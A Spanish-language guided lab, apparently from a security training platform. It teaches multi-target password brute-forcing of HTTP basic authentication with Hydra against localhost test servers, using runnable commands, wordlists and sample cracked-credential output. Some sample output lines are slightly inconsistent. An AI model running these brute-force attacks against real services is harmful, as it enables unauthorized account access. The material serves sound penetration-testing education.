Atacar Múltiples Objetivos con Hydra

HydraBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderás a atacar múltiples objetivos simultáneamente utilizando Hydra. El laboratorio se centra en utilizar las capacidades de Hydra para realizar intentos de craqueo de contraseñas contra una lista de hosts objetivo.

El laboratorio te guiará a través de la creación de un archivo de lista de objetivos que contenga direcciones IP o nombres de host, la carga de este archivo en Hydra utilizando la opción -M, la ejecución de un ataque HTTP paralelo contra los objetivos y, finalmente, la comprobación de la salida para identificar inicios de sesión exitosos en múltiples hosts. Esta experiencia práctica te proporcionará habilidades prácticas en el uso de Hydra para escenarios de pruebas de penetración y auditorías de seguridad.

Este es un Guided Lab, que proporciona instrucciones paso a paso para ayudarte a aprender y practicar. Sigue las instrucciones cuidadosamente para completar cada paso y obtener experiencia práctica. Los datos históricos muestran que este es un laboratorio de nivel principiante con una tasa de finalización del 86%. Ha recibido una tasa de reseñas positivas del 100% por parte de los estudiantes.

Crear un Archivo de Lista de Objetivos

En este paso, crearás un archivo de lista de objetivos. Este archivo contendrá una lista de URL de objetivos a las que Hydra intentará conectarse y descifrar contraseñas. Este es un paso crucial en cualquier escenario de prueba de penetración o auditoría de seguridad.

Un archivo de lista de objetivos para ataques HTTP contiene URL en lugar de solo direcciones IP. Cada línea representa un servicio web objetivo con autenticación básica HTTP. En nuestro entorno de laboratorio, hemos configurado varios servidores web Apache que se ejecutan en diferentes puertos con autenticación básica.

Todas las operaciones de este laboratorio se realizarán en el directorio ~/project.

  1. Primero, verifiquemos que nuestros servidores web de prueba estén en funcionamiento:

    curl -I http://127.0.0.1:8081/ 2> /dev/null | head -1
    curl -I http://127.0.0.1:8082/ 2> /dev/null | head -1
    curl -I http://127.0.0.1:8083/ 2> /dev/null | head -1
    HTTP/1.1 401 Unauthorized
    HTTP/1.1 401 Unauthorized
    HTTP/1.1 401 Unauthorized

    Debes ver encabezados de respuesta HTTP que indiquen que los servidores están en funcionamiento.

  2. Crea el archivo de objetivos con nuestros servidores web de prueba:

    cd ~/project
    echo "127.0.0.1:8081" > targets.txt
    echo "127.0.0.1:8082" >> targets.txt
    echo "127.0.0.1:8083" >> targets.txt

    Esto crea una lista de objetivos con tres servicios HTTP que se ejecutan en localhost en diferentes puertos:

    • Puerto 8081: Protegido con el usuario admin y la contraseña password123
    • Puerto 8082: Protegido con el usuario user y la contraseña secret
    • Puerto 8083: Protegido con el usuario testuser y la contraseña password
  3. Verifica que el archivo se haya creado y contenga los objetivos:

    cat ~/project/targets.txt

    Debes ver una salida como:

    127.0.0.1:8081
    127.0.0.1:8082
    127.0.0.1:8083
  4. Prueba uno de los recursos protegidos para confirmar que se requiere la autenticación:

    curl http://127.0.0.1:8081/

    Debes ver una respuesta HTTP 401 Unauthorized, lo que confirma que se requiere la autenticación básica.

Ahora has creado correctamente un archivo de lista de objetivos llamado targets.txt en tu directorio ~/project con servicios HTTP que requieren autenticación. Este archivo se utilizará en el siguiente paso para cargar los objetivos en Hydra.

Cargar Objetivos con la Opción -M

En este paso, aprenderás a cargar el archivo de lista de objetivos que creaste en el paso anterior en Hydra utilizando la opción -M. La opción -M indica a Hydra que lea la lista de hosts objetivo desde un archivo. Esto es especialmente útil cuando tienes un gran número de objetivos que probar.

Para ataques HTTP, la sintaxis básica es:

hydra -M <target_file> http-get <path>

Donde:

  • <target_file> es la ruta al archivo que contiene la lista de hosts objetivo.
  • http-get especifica que estamos atacando la autenticación básica HTTP utilizando solicitudes GET.
  • <path> es la ruta en el servidor web a atacar (por ejemplo, / para la raíz).

Construyamos un comando de Hydra para cargar los objetivos desde el archivo targets.txt y atacar la autenticación básica HTTP.

  1. Crea listas de nombres de usuario y contraseñas para nuestro ataque:

    cd ~/project
    echo "admin" > users.txt
    echo "user" >> users.txt
    echo "testuser" >> users.txt
    echo "root" >> users.txt

    Esto crea una lista de nombres de usuario con los nombres de usuario reales que configuramos, más un nombre de usuario común root.

  2. Crea una lista de contraseñas:

    echo "password123" > passwords.txt
    echo "secret" >> passwords.txt
    echo "password" >> passwords.txt
    echo "admin" >> passwords.txt
    echo "123456" >> passwords.txt

    Esto crea una lista de contraseñas que contiene las contraseñas reales que configuramos, más algunas contraseñas débiles comunes.

  3. Ahora, ejecuta el comando Hydra para cargar los objetivos desde el archivo targets.txt e intenta descifrar la autenticación básica HTTP:

    hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /

    Resultados esperados: Deberías ver a Hydra intentando conectarse a los tres servicios HTTP y descifrando con éxito las contraseñas de cada uno:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
    [DATA] max 16 tasks per 1 server, overall 64 tasks, 60 login tries (l:4/p:5), ~1 try per task
    [DATA] attacking http-get://127.0.0.1:8081:80/
    [DATA] attacking http-get://127.0.0.1:8082:80/
    [DATA] attacking http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 of 3 targets completed, 3 valid passwords found
    Hydra finished.

    Esto muestra que Hydra encontró con éxito las credenciales válidas para los tres servicios HTTP.

  4. También puedes probar con una ruta más específica si es necesario:

    hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /index.html

En este paso, has aprendido a cargar objetivos desde un archivo utilizando la opción -M en Hydra para ataques HTTP. Esta es una habilidad fundamental para realizar ataques de craqueo de contraseñas a gran escala contra servicios web con autenticación básica.

Ejecutar Ataque HTTP Paralelo

En este paso, aprenderás a ejecutar un ataque HTTP paralelo con Hydra. Ejecutar ataques en paralelo acelera significativamente el proceso de descifrado, especialmente cuando se trabaja con múltiples objetivos. Hydra te permite especificar el número de tareas paralelas a ejecutar usando la opción -t.

La opción -t controla el número de conexiones paralelas que Hydra establecerá. Para ataques HTTP, esto es particularmente efectivo ya que los servidores web suelen manejar mejor las conexiones concurrentes que los servicios SSH.

Modifiquemos el comando Hydra anterior para ejecutar el ataque HTTP con un número específico de subprocesos.

  1. Ejecuta el siguiente comando Hydra para ejecutar el ataque HTTP con 8 subprocesos:

    cd ~/project
    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /

    En este comando, la opción -t 8 indica a Hydra que utilice 8 subprocesos paralelos. Esto significa que Hydra intentará conectarse a múltiples objetivos simultáneamente e intentará diferentes combinaciones de nombre de usuario/contraseña en paralelo.

    Salida esperada:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
    [DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
    [DATA] attacking http-get://127.0.0.1:8081:80/
    [DATA] attacking http-get://127.0.0.1:8082:80/
    [DATA] attacking http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 of 3 targets completed, 3 valid passwords found
    Hydra finished.
  2. Experimenta con diferentes valores para la opción -t. Intenta aumentar el número de subprocesos para ver cómo afecta la velocidad:

    hydra -L users.txt -P passwords.txt -t 16 -M targets.txt http-get /

    Es posible que notes que con más subprocesos, el ataque se completa más rápido, pero el tiempo exacto depende de las capacidades de tu sistema.

  3. También puedes agregar salida detallada para ver más detalles sobre el proceso de ataque:

    hydra -L users.txt -P passwords.txt -t 8 -v -M targets.txt http-get /

    La bandera -v proporciona una salida detallada que muestra cada intento de inicio de sesión, lo cual es útil para comprender exactamente qué está probando Hydra.

  4. Para una salida aún más detallada, puedes usar la opción -V (muy detallada):

    hydra -L users.txt -P passwords.txt -t 8 -V -M targets.txt http-get /

Consideraciones importantes para ataques HTTP:

  • Límites del servidor web: La mayoría de los servidores web pueden manejar muchas conexiones simultáneas, lo que hace que los ataques HTTP sean generalmente más rápidos que otros protocolos.
  • Limitación de velocidad: Algunas aplicaciones web implementan la limitación de velocidad que podría bloquear intentos rápidos de autenticación.
  • Registro: Los intentos de autenticación HTTP suelen registrarse en los servidores web, lo que facilita su detección.
  • SSL/HTTPS: Para objetivos HTTPS, usarías http-get con objetivos habilitados para SSL o https-get para HTTPS explícito.

En este paso, has aprendido a ejecutar ataques HTTP paralelos con Hydra usando la opción -t. Esta técnica es particularmente efectiva para aplicaciones web con autenticación básica.

Comprobar la Salida para Múltiples Hosts

En este paso, aprenderás a interpretar la salida de Hydra cuando se ataca a múltiples objetivos HTTP. La salida de Hydra proporciona información valiosa sobre el éxito o el fracaso de los intentos de ataque en diferentes servicios web.

Cuando Hydra descifra con éxito una contraseña de autenticación básica HTTP, muestra las credenciales en el siguiente formato:

[<puerto>][http-get] host: <host>   login: <nombre de usuario>   password: <contraseña>

Por ejemplo:

[8081][http-get] host: 127.0.0.1   login: admin   password: password123

Esto indica que Hydra descifró con éxito la autenticación básica HTTP para el usuario admin en el host 127.0.0.1 en el puerto 8081, con la contraseña password123.

Analicemos la salida de los ataques HTTP y entendamos qué significan los diferentes resultados.

  1. Ejecuta de nuevo el comando completo de ataque Hydra para ver la salida completa:

    cd ~/project
    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
  2. Examina la salida detallada. Deberías ver resultados para los tres objetivos:

    Salida completa esperada:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
    [DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
    [DATA] attacking http-get://127.0.0.1:8081:80/
    [DATA] attacking http-get://127.0.0.1:8082:80/
    [DATA] attacking http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 of 3 targets completed, 3 valid passwords found
    Hydra finished.
  3. Para ver cómo se ven los intentos fallidos, creemos un escenario con algunas credenciales inválidas. Crea un nuevo archivo de contraseñas con la mayoría de contraseñas incorrectas:

    echo "wrongpass" > wrong_passwords.txt
    echo "badpass" >> wrong_passwords.txt
    echo "password123" >> wrong_passwords.txt ## Solo una contraseña correcta
  4. Ejecuta Hydra con salida detallada para ver los intentos exitosos y fallidos:

    hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /

    Verás una salida detallada que muestra el intento exitoso:

    (La salida detallada del ejemplo se omite para mantener la coherencia con el formato original)

  5. Guarda los resultados en un archivo para su análisis posterior:

    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt

    Revisa el archivo de resultados:

    cat hydra_results.txt

Cómo interpretar los resultados de los ataques HTTP:

  • Ataques exitosos: Las líneas que comienzan con [puerto][http-get] muestran los descubrimientos exitosos de credenciales.
  • Información del objetivo: Cada resultado exitoso muestra el host, puerto, nombre de usuario y contraseña exactos.
  • Estadísticas resumidas: La línea final muestra cuántos objetivos fueron atacados y cuántas contraseñas válidas se encontraron.
  • Intentos fallidos: Con el modo detallado, puedes ver cada intento de inicio de sesión fallido.
  • Archivos de salida: Usar -o guarda solo los resultados exitosos en un archivo para un análisis fácil.

Diferencias clave con otros protocolos:

  • Los ataques HTTP muestran el número de puerto claramente en los resultados.
  • Los tiempos de respuesta suelen ser más rápidos que los ataques SSH.
  • Múltiples dominios de autenticación en el mismo servidor aparecerían como diferentes objetivos.
  • Los códigos de estado HTTP (como 401, 403) proporcionan contexto adicional sobre los fallos.

En este paso, has aprendido a interpretar la salida de Hydra al atacar múltiples objetivos HTTP, a comprender la diferencia entre intentos exitosos y fallidos, y a guardar los resultados para su análisis. Este conocimiento es crucial para las pruebas de seguridad efectivas de aplicaciones web.

Resumen

En este laboratorio, aprendiste a realizar ataques a múltiples objetivos utilizando Hydra contra servicios HTTP con autenticación básica. Creaste un archivo de lista de objetivos que contenía múltiples servidores web que se ejecutaban en diferentes puertos, cada uno protegido con autenticación básica utilizando diferentes combinaciones de nombre de usuario y contraseña.

Descubriste cómo usar la opción -M para cargar múltiples objetivos desde un archivo, lo que lo hace eficiente para atacar numerosos servicios web simultáneamente. El laboratorio demostró cómo usar la opción -t para controlar los subprocesos paralelos para ataques HTTP más rápidos, y aprendiste a interpretar la salida de Hydra para identificar intentos de autenticación exitosos en múltiples objetivos.

Este enfoque es particularmente valioso para las pruebas de seguridad de aplicaciones web, donde es posible que necesites probar la autenticación básica en múltiples servicios, hosts virtuales o diferentes rutas en servidores web. Las técnicas que aprendiste proporcionan una base para realizar evaluaciones de seguridad integrales de aplicaciones web en entornos contenedorizados.